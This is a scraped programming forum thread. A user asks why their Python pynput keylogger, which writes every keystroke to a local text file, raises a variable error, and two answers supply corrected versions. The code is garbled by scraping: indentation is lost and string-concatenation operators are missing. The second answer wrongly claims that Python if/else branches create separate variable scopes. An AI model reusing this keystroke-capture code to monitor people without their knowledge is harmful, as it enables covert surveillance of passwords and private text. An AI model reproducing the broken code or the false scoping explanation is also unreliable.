So i wanted to create a keylogger with python and i get this error, checked some threads already and they said i should use global but my variable is defined for different things twice and if i use global, it wouldn't be able to do it
from pynput import keyboard
def KeyInput():
with keyboard.Listener(on_press=KeyLog) as listener:
# whenever there is a press on a key on the keyboard, it's directed to KeyLog function
listener.join()
def KeyLog(key):
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
# keys like ctrl, caps lock, windows, etc
if 'cmd' in str(key):
str(key).replace('cmd', 'Windows')
else:
K = ' ' str(key) ' '
data = str(K)
with open('keylogs.txt', 'a') as File:
File.write(data '\n')
File.close()
KeyInput()
KeyLog()
CodePudding user response:
Looks like you forgot to assign the result of str(key).replace. Do:
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
# keys like ctrl, caps lock, windows, etc
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows') # <-- assign to K
else:
K = ' ' str(key) ' '
data = str(K)
with open('keylogs.txt', 'a') as File:
File.write(data '\n')
File.close()
and now K has a value in each of your if/else branches.
Better yet (IMO), since you already convert K to a str in two out of the three branches, and then re-convert it to make sure data is a str before you write it, just set data to a str value in all three branches and then you don't need the extra variable:
if isinstance(key, keyboard._win32.KeyCode):
# normal characters like letters
data = str(key.char)
else:
# keys like ctrl, caps lock, windows, etc
if 'cmd' in str(key):
data = str(key).replace('cmd', 'Windows')
else:
data = f' {key} '
with open('keylogs.txt', 'a') as file:
file.write(data '\n')
Note that if you open() a file using with, the close() is unnecessary because it gets called automatically after the with context ends.
CodePudding user response:
K variable is local to the if statement (actually, there are 2 different variables with the some name, one inside if scope, and a different one inside else). You should define K outside of this statement and initialize it with some empty value. Something like this:
def KeyLog(key):
K = ''
if type(key) == keyboard._win32.KeyCode:
K = key.char
else:
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows')
else:
K = ' ' str(key) ' '
data = str(K)
with open('keylogs.txt', 'a') as File:
File.write(data '\n')
File.close()
Looks unnecesary, but this way K exists outside the if scope so it should be ok to acces it in str(K).
